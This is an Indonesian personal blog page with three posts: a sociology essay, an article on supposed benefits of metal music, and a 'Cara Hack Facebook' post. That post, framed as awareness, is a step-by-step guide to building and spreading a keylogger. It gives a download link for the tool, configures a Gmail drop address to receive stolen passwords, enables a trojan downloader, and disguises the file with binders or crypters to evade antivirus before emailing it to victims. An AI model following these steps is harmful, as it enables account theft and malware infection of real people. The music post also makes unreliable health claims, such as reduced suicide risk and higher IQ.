Pages

Sabtu, 21 April 2012

Cara Hack Facebook

Hacking kini sudah mulai ramai dibicarakan karena banyak situs serta account yang sudah sering dijebol dengan para hacker misalnya hack facebook password, hack yahoo password, hack hotmail password, hack gmail password, hack blogger password, hack paypal, hack ebay password, dll. Hacking sering terjadi karena sistem keamanan yang mudah dijebol atau kecorobohan yang dilakukan user. Untuk itu artikel ini bertujuan untuk membahas bagaimana hacker menjebol account anda sehingga anda dapat menghindari dan mengenal ulah hacker.

 


Ada beberapa cara yang digunakan hacker untuk menjobol account yaitu dengan cara phising (login yang palsu) dan software keylogger. Hacking dengan cara phising yaitu dengan mengirim link ke account anda. Link tersebut akan membawa ke situs tertentu yang sering anda gunakan misalnay facebook atau twitter. Tampilan situs tersebut sama dengan situs yang anda gunakan, hanya saja situs tersebut adalah palsu (fake) sehingga dapat mengakses id dan password yang anda gunakan. Cara lain yang sering digunakan hacker untuk hack account milik orang lain yaitu dengan menggunakan keylogger. Untuk anda yang penasaran bagaimana cara menggunakan keylogger dapat melihat caranya dibawah ini:

1.         Keylogger di download dari http://www.ziddu.com/downloadlink/9928617/FACEB00KHack.rar
2.         File tersebut diekstrak.
3.         Buka file Emissary.exe
4.         Masukan username dan password gmail anda yang akan digunakan hanya untuk keylogging. Masukkan alamat email di mana Anda ingin menerima password facebook. Pilih nama untuk file server.exe. Anda dapat mengatur penghitung waktu yang Anda inginkan.
5.         Pada bagian Option centang semuanya.
6.         Centang "Trojan Downloader" untuk download dan jalankan sebuah trojan pada PC korban. Anda juga dapat membuat pesan error palsu ke korban Anda.
7.         Klik "Build" untuk mendapatkan keylogger file.
8.         Untuk hack password facebook anda harus mengirim file ke server korban dan membuatnya menginstalnya pada komputer. Anda dapat menggunakan Binder, crypter atau Fake Hacking Software untuk mengikat server file ini dengan Mp3 sehingga tidak terdeteksi sebagai virus dan bisa dijalankan user.
9.         Masukan file emissary.exe ke dalam file berformat rar atau zip agar bisa diupload ke email. Lalu kirim file tersebut ke email tujuan.
10.     Apabila file keylogger dijalankan oleh korban maka alat tersebut mencari untuk semua password dan mengirimkan email yang berisi semua user-id dan password.

Sumber: blogtrikdantips.blogspot.com

Kamis, 19 April 2012

Kajian Filsafati Ilmu Sosiologi

PENDAHULUAN


A. Latar Belakang Sosiologi

Istilah Sosiologi pertama kali diperkenalkan oleh Auguste Comte (tetapi dalam catatan Sejarah, Emile Durkheim lah yang melanjutkan ‘istilah’ tersebut dan menerapkannya menjadi sebuah disiplin ilmu). Sosiologi berasal dari gabungan 2 kata dalam bahasa Latin yaitu Socius yang artinya teman dan Logos yang artinya ilmu. Secara keseluruhan, Sosiologi berarti ilmu yang mempelajari masyarakat.

Istilah masyarakat menunjuk pada sejumlah manusia yang telah sekina lama hidup bersama dan mereka menciptakan berbagai peraturan pergaulan hidup. Definisi mengenai masyarakat ada bermacam-macam, bergantung kepada sudut pandang masing-masing sarjan sosial. Menurut Robert Mac Iver, masyarakat adalah suatu sistim hubungan-hubungan yang ditertibkan dan menurut perumusan Harold J. Laski, masyarakat adalah sekelompok manusia yang hidup bersama dan bekerjasama untuk mencapai terkabulnya keinginan-keinginan mereka bersama. Dari kedua definisi tersebut dapat disimpulkan bahwa masyarakat mencakup semua hubungan dan kelompok dalam suatu wilayah.

Sosiologi tergolong ilmu yang fleksibel. Hal ini bisa dilihat dari sifatnya yang tersusun dari penelitian-penelitian ilmiah yang bersifat kaku namun bisa dikritik oleh publik karena sosiologi adalah ilmu yang berisi tentang pengetahuan kemasyarakatan, oleh karena itu selalu dinamis dan dapat diubah-ubah sesuai dan seiring dengan perkembangan yang terjadi di dalam objek penelitiannya (masyarakat).

Sosiologi ditinjau dari sifatnya digolongkan sebagai ilmu pengetahuan murni (pure science) dan bukan ilmu pengetahuan terapan (applied science). Sosiologi dimaksudkan untuk memberikan kompetensi kepada peserta didik dalam memahami konsep-konsep sosiologi seperti sosialisasi, kelompok sosial, struktur sosial, lembaga sosial, perubahan sosial, dan konflik sampai pada terciptanya integrasi sosial.

Sosiologi mempunyai dua pengertian dasar yaitu sebagai ilmu dan sebagai metode. Sebagai ilmu, sosiologi merupakan kumpulan pengetahuan tentang masyarakat dan kebudayaan yang disusun secara sistematis dan terorganisir berdasarkan analisis berpikir logis. Sebagai metode, sosiologi adalah cara berpikir untuk mengungkapkan realitas sosial yang ada dalam masyarakat dengan prosedur dan teori yang dapat dipertanggungjawabkan secara ilmiah.

Sosiologi sendiri muncul akibat tekanan/ancaman yang dirasakan oleh masyarakat terhadap hal-hal dan nilai-nilai yang selama ini sudah dianggap benar dan nyaman dalam tatanan kehidupan mereka, khususnya dalam bidang sosial. Renungan sosiologis dimulai ketika masyarakat mulai mengalami goncangan/krisis terhadap nilai-nilai dan prinsip hidup yang mereka pegang.




PEMBAHASAN



A. APA YANG DIKAJI OLEH SOSIOLOGI

Sebenarnya, ruang lingkup kajian sosiologi sebagai ilmu sangat luas, mencakup hampir semua bidang kehidupan masyarakat, baik bidang ekonomi, politik, agama, pendidikan, kebudayaan, tentu saja dilihat dari perspektif (asumsi teoritis dan metodologis) sosiologi. Setidaknya ada sejumlah elemen penting yang menjadi perhatian ahli sosiologi dalam mempelajari masyarakat. Elemen-elemen tersebut tercakup kepada lima area sosial, yakni: karakteristik penduduk, perilaku sosial, lembaga sosial, elemen budaya dan perubahan sosial.

Ruang lingkup kajian sosiologi lebih luas dari ilmu sosial lainnya. Hal ini dikarenakan ruang lingkup sosiologi mencakup semua interaksi sosial yang berlangsung antara individu dengan individu, individu dengan kelompok, serta kelompok dengan kelompok di
lingkungan masyarakat.

Sebagai ilmu pengetahuan, sosiologi mengkaji lebih mendalam pada bidangnya dengan cara bervariasi. Misalnya seorang sosiologi mengkaji dan mengamati kenakalan remaja di Indonesia saat ini, mereka akan mengkaji mengapa remaja tersebut nakal, mulai kapan remaja tersebut berperilaku nakal, sampai memberikan alternatif pemecahan masalah tersebut. Hampir semua gejala sosial yang terjadi di desa maupun di kota baik individu ataupun kelompok, merupakan ruang kajian yang cocok bagi sosiologi, asalkan
menggunakan prosedur ilmiah.

Ruang lingkup kajian sosiologi tersebut jika dirincikan menjadi beberapa hal antara lain:
1.      Ekonomi beserta kegiatan usahanya secara prinsipil yang berhubungan dengan produksi, distribusi, dan penggunaan sumber-sumber kekayaan alam;
2.      Masalah manajemen yaitu pihak-pihak yang membuat kajian, berkaitan dengan apa yang dialami warganya;
3.      Persoalan sejarah yaitu berhubungan dengan catatan kronologis, misalnya usaha kegiatan manusia beserta prestasinya yang tercatat, dan sebagainya.
Sosiologi menggabungkan data dari berbagai ilmu pengetahuan sebagai dasar penelitiannya. Dengan demikian sosiologi dapat dihubungkan dengan kejadian sejarah, sepanjang kejadian itu memberikan keterangan beserta uraian proses berlangsungnya
hidup kelompok-kelompok, atau beberapa peristiwa dalam perjalanan sejarah dari kelompok manusia. Sebagai contoh, riwayat suatu negara dapat dipelajari dengan mengungkapkan latar belakang terbentuknya suatu negara, faktor-faktor, prinsip-prinsip suatu negara sampai perjalanan negara di masa yang akan datang.

Sosiologi mempertumbuhkan semua lingkungan dan kebiasaan manusia, sepanjang kenyataan yang ada dalam kehidupan manusia dan dapat memengaruhi pengalaman yang dirasakan manusia, serta proses dalam kelompoknya. Selama kelompok itu ada, maka selama itu pula akan terlihat bentuk-bentuk, cara-cara, standar, mekanisme,
masalah, dan perkembangan sifat kelompok tersebut. Semua faktor tersebut dapat memengaruhi hubungan antara manusia dan berpengaruh terhadap analisis sosiologi.

Objek Sosiologi

Objek Sosiologi adalah masyarakat, yang dilihat dari sudut hubungan antar manusia, dan proses yang timbul dari hubungan manusia di dalam masyarakat.
Masyarakat meliputi: (a) struktur sosial mencakup keseluruhan jalinan unsur-unsur sosial (norma sosial, lembaga sosial, kelompok sosial dan lapisan sosial); (b) proses sosial adalah pengaruh timbal balik antara pelbagai segi kehidupan bersama (kehidupan hukum dengan agama, kehidupan agama dengan ekonomi, dsb); (c) perubahan sosial (perubahan struktur dan kultural).

Hubungan sosiologi dengan ilmu sosial lainnya 

Masyarakat yang menjadi obyek ilmu sosial dapat dilihat sebagai sesuatu yang terdiri dari beberapa segi, yaitu:
       Segi ekonomi, yang berkaitan dengan aktivitas produksi, distribusi, dan konsumsi barang dan jasa; Segi ekonomi dipelajari oleh Ilmu Ekonomi.
       Segi kehidupan politik, berhubungan dengan penggunaan kekuasaan dalam masyarakat; Segi kehidupan politik dipelajari oleh Ilmu politik
       Antropologi, memusatkan perhatian pada masyarakat-masyarakat yang masih sederhana taraf kebudayaannya, sedangkan sosiologi menyelidiki masyarakat modern yang sudah kompleks (Soekanto, 2002).

Chester L. Hunt: ada dua cara memberi arti batasan Ilmu Pengetahuan, yaitu: (1) suatu kesatuan susunan pengetahuan yang telah diverifikasikan (telah dibuktikan kebenarannya melalui penyelidikan ilmiah); (2) suatu metode studi dengan kesatuan susunan pengetahuan yang diverifikasi itu diperoleh.
Jadi Sosiologi dapat diterima sebagai ilmu pengetahuan, karena dibangun dari kesatuan susunan pengetahuan atas dasar penyelidikan ilmiah dengan menggunakan metode-metode ilmiah.

B. BAGAIMANA MENDAPATKAN ILMU SOSIOLOGI

Suatu ilmu dapat dirumuskan dalam dua cara, yaitu:
1.      Suatu ilmu adalah suatu kerangka pengetahuan yang tersusun dan teruji yang diperoleh melalui suatu penelitian ilmiah;
2.      Suatu ilmu adalah suatu metode untuk menemukan suatu kerangka pengetahuan yang tersusun dan teruji. Bila rumusan pertama diterima, maka sosiologi adalah suatu ilmu sejauh sosiologi mengembangkan suatu kerangka pengetahuan yang tersusun dan teruji yang didasarkan pada penelitian ilmiah. Bila ilmu didefinisikan sebagau suatu metode penelaahan, maka sosiologi adalah suatu ilmu sejauh sosiologi menggunakan metode penelitian ilmiah.

Metode Dalam Sosiologi

Menurut Soerjono Soekanto, pada dasarnya ada dua jenis metode dalam mengkaji masyarakat, yaitu:
1.    Metode kualitatif: mendeskripsikan hasil penelitian berdasarkan penilaian terhadap data yg tidak dapat diukur dengan angka. Metode kualitatif ada tiga, yaitu: (a) Metode Historis: deskripsi dan analisis data berdasarkan pada peristiwa masa lampau untuk mengetahui sebab kejadian sekarang; (b) Metode Komparatif: membanding data kondisi masyarakat satu dengan lainnya, dan mengetahui sebab terjadinya kondisi masyarakat itu; (c) Studi Kasus, yaitu memusatkan kajian pada fenomena sosial tertentu, lembaga, kelompok, maupun individu.
2.    Metode kuantitatif: cara penelitian yang dalam analisis datanya mengutamakan keterangan berdasarkan angka-angka, gejala yang diteliti diukur dengan skala, indeks, tabel atau formula-formula tertentu yang pada dasarnya cenderung menggunakan uji statistik.

Metode Induktif Dan Deduktif

Metode berpikir didasarkan pada cara berpikir induktif dan deduktif.
1.    Metode induktif adalah cara untuk mempelajari suatu keadaan dari gejala yang khusus untuk mendapatkan kaidah-kaidah yang berlaku dalam lapangan yang lebih luas.
2.    Metode deduktif adalah yang menggunakan proses sebaliknya, yaitu mulai dengan kaidah-kaidah yang dianggap umum untuk kemudian dipelajari dalam keadaan yang khusus.

Aplikasi Metode Sosiologi

a.    Metode ilmiah sosiologi dalam aplikasinya senantiasa diawali dengan mengidentifikasi masalah, merumuskan masalah, kemudian menentukan ruang lingkup penelitian, merumuskan hipotesis sesuai dengan rumusan masalah.
b.    Memilih dan menentukan metode apa yang tepat dan bermanfaat dalam pengumpulan data, sehingga dapat membuktikan relevansi hipotesis terhadap rumusan masalah yang telah ditentukan.

Sosiologi sebagaimana ilmu-ilmu sosial lainnya, lahir, tumbuh dan berkembang. Untuk itu perlu dilakukan kegiatan yang dinamakan penelitian sosial. Melalui penelitian sosial.,ini para ahli sosiologi mengumpulkan data yang dapat menambah pengetahuan mengesai sasaran perhatian mereka, yakni masyarakat.Melalui penelitian sosial para ahli sosiologimenemukan fakta baru yang memperluas cakrawala serta memperdalam pemahaman kita sehingga merupakan sumbangan ke arah pengembangan sosiologi.

Cara untuk menghasilkan temuan-temuan baru dalam sosiologi, para ahli perlu memperhatikan tahap penelitian. Walaupun jumlah serta jenis tahap yg dijabarkan dalam berbagai buku penuntun metode penelitian tidak selalu sama, namun dalam kebanyakn buku tersebut dijumpai beberapa tahap yg dianggap pokok, yaitu tahap:
1.      perumusan masalah
2.      penyusunan disain penelitian
3.      pengumpulan data
4.      analisis data
5.      penulisan laporan peneltian

C. UNTUK APA ILMU SOSIOLOGI

Sebenarnya studi sosiologi sangat penting untuk kita sebagai makhluk sosial. Kitalah yang menjadi objek kajian sosiologi karena kita selalu berinteraksi dengan orang lain. Kita juga sebagai manusia yang berbudaya yang memiliki norma, nilai dan tradisi. Selama hidup, kita senantiasa berinteraksi dengan orang lain dan dalam berinteraksi itu tidak jarang timbul konflik. Oleh karena itu, sosiologi sebenarnya berbicara mengenai kita dan masyarakat dimana kita hidup dan berinteraksi.

Beberapa manfaat mempelajari sosiologi :
1.      Dengan mempelajari sosiologi, kita akan dapat melihat dengan lebih jelas siapa diri kita, baik sebagai pribadi maupun (dan terutama) sebagai anggota kelompok atau masyarakat.

2.      Sosiologi membantu kita untuk mampu mengkaji tempat kita dalam masyarakat serta dapat melihat “dunia” atau budaya lain yang belum kita ketahui sebelumnya.

3.      Dengan bantuan sosiologi, kita akan semakin memahami pula norma, tradisi, keyakinan dan nilai-nilai yang dianut oleh masyarakat lain dan memahami perbedaan-perbedaan yang ada tanpa hal itu menjadi alasan untuk timbulnya konflik diantara anggota masyarakat yang berbeda.

4.      Akhirnya bagi kita sebagai generasi penerus mempelajari sosiologi membuat kita lebih tanggap, kritis dan rasional menghadapi gejala-gejala sosial masyarakat yang makin kompleks dewasa ini serta mampu mengambil sikap dan tindakan yang tepat dan akurat terhadap setiap situasi sosial yang kita hadapi sehari-hari.

5.      Mempelajari, menjelaskan, menganalisis dan meneliti fenomena sosial, gejala sosial dan masalah-masalah sosial yang terjadi dimasyarakat.

6.      Hasil-hasil penelitian Sosiologi dapat digunakan sebagai acuan dalam perencanaan pembangunan atau sebagai acuan untuk pengambilan kebijakan pemerintah dalam pembangunan.

7.      Hasil-hasil penelitian Sosiologi dapat digunakan untuk menyelesaikan masalah-masalah sosial yang terjadi dimasyarakat.

8.      Metode-metode penelitian Sosiologi mempunyai kemampuan yang baik dalam memprediksi dan menginterpretasikan data yang menyangkut hubungan sebab akibat dalam aspek-aspek kehidupan manusia.



DAFTAR PUSTAKA



§ Budiarjo, Miriam. 2005. “Dasar-Dasar Ilmu Politik”. Jakarta. Gramedia Pustaka Utama.

§ Syani, Abdul. 2007. “SOSIOLOGI Skematika, Teori, Dan Terapan”. Jakarta: PT Bumi Aksara.

§ Maryati, Kun dan Suryawati, Juju. 2006. “Sosiologi untuk SMA dan MA Kelas X” jilid 1. Jakarta: ESIS.

§ http://muda.kompasiana.com/2011/01/12/sosiologi-latar-belakang-ruang-lingkup-dan-kegunaan-bagi-ilmu-hi/ (Tanggal Akses : 28 Mei 2011)

§  http://elfitra.multiply.com/journal/item/16 (Tanggal Akses : 28 Mei 2011) 

§ http://id.shvoong.com/social-sciences/sociology/2139752-ruang-lingkup-kajian-sosiologi/#ixzz1NbF18Cqd (Tanggal Akses : 28 Mei 2011) 

§ http://nilaieka.blogspot.com/2010/08/sosiologi-sebagai-ilmu.html (Tanggal Akses : 28 Mei 2011)

§ http://sosiologismadapareschool.blogspot.com/2009/01/manfaat-mempelajari-sosiologi.html (Tanggal Akses : 28 Mei 2011)

§ http://pengantar-sosiologi.blogspot.com/2009/04/bab-4-metode-sosiologi.html (Tanggal Akses : 28 Mei 2011)

FLESHGOD APOCALYPSE - The Violation

Sabtu, 07 April 2012

Manfaat Mendengarkan Musik Cadas or Metal




















Tidak bisa dipungkiri bahwa musik cadas seperti Metal kian hari kian digandrungi anak muda masa kini. Ini terbukti dengan makin populernya genre musik ini di kalangan masyarakat dan sudah seperti menjadi trend gaya hidup anak muda.

Meski tak semua orang suka dengan musik beraliran cadas. Iramanya yang hingar bingar dianggap sebagai musik yang hanya membuat telinga tuli. Tapi mulai sekarang, meskipun Anda tak menyukainya, tak ada salahnya jika Anda memanfaatkan keberadaannya untuk meredam stres. Tak percaya? Penelitian terbaru yang dilansir oleh Sciencedaily bahkan menyebutkan bahwa penggemar musik heavy metal ternyata lebih pandai meredam emosi negatif, lebih ekspresif dan lebih bisa meluapkan kemarahannya.Penelitian yang melibatkan 1.057 murid dari usia antara 11 dan 18 tahun dari sekolah National Academy di Amerika.
Semua responden diteliti dengan cermat hubungan mereka dengan keluarga, perilaku di sekolah, bagaimana mereka menghabiskan waktu santai, musik kesukaan, dan jenis media yang mereka konsumsi. “Penelitian ini berhasil membuktikan bahwa bahwa presepsi yang selama ini beredar salah. Selama ini orang menganggap murid yang cerdas dan memiliki intelijensi tinggi cenderung didominasi mereka yang suka musik klasik dan menghabiskan banyak waktu untuk membaca,” ujar Stuart Cadwallader, kepala penelitian dari Warwick University.Sayangnya, menurut Stuart tudi mereka yang menikmati musik heavy metal cenderung mengalami kesulitan untuk menjalin hubungan dengan keluarga dan teman-teman mereka. Dan mereka menjadikan musik sebagai media ‘keterbukaan’

Sebagian besar murid mengatakan mereka tidak mempertimbangkan untuk menjadi penganut Metal sejati tapi musik heavy metal memahami aspek spesifik kebudayaan pemuda saat ini. Dengan menggunakan musik yang keras dan agresif, mereka bisa keluar dan lepas dari rasa frustrasi dan kemarahan. Di sini berhasil dibuktikan bahwa musik heavy metal atau cadas juga bisa meredekan situasi hati atau mood yang sedang buruk. Menurut Stuart, “banyak musisi aliran heavy metal juga memiliki tingkat intelijensi tinggi seperti vokalis Iron Maiden, Bruce Dickinson, yang selain sebagai musisi, juga berprofesi sebagai novelis dan pilot penerbangan.”

Beberapa manfaat mendengarkan musik metal :

1. Mendengarkan musik metal bisa memperbaiki mood.
Mendengar musik logam berat ini bisa menstabilkan mood. Terlebih untuk remaja yang mengidap depresi. Dengan mendengarkannya, perasaan sedih atau marah bisa diluapkan. Si remaja bisa lebih santai atau tenang untuk menjalani hidupnya. Tapi, pengawasan orang tua disini perlu. apabila mood si anak turun, sebaiknya larang anak mendengar musik ini.

2. IQ meningkat.
Dari hasil penelitian, pendengar musik beraliran metal ini, umumnya mahasiswa mendapatkan nilai lebih tinggi dari mahasiswa lainnya, bahkan diatas rata-rata. Beberapa bidang studi juga menemukan kecerdasan yang tinggi diantara penikmat musik keras ini.

3. Menurunkan potensi bunuh diri.
Musik metal dapat menurunkan emosi atau tingkat kecemasan. Setelah mendengarkan musik metal. Pendengar bisa lebih nyaman atau lebih baik dari sebelumnya. Musik ini dapat mengobati rasa tertekan mereka. (Altakarta) 

Dikutip dari:www.xtreme-zine.com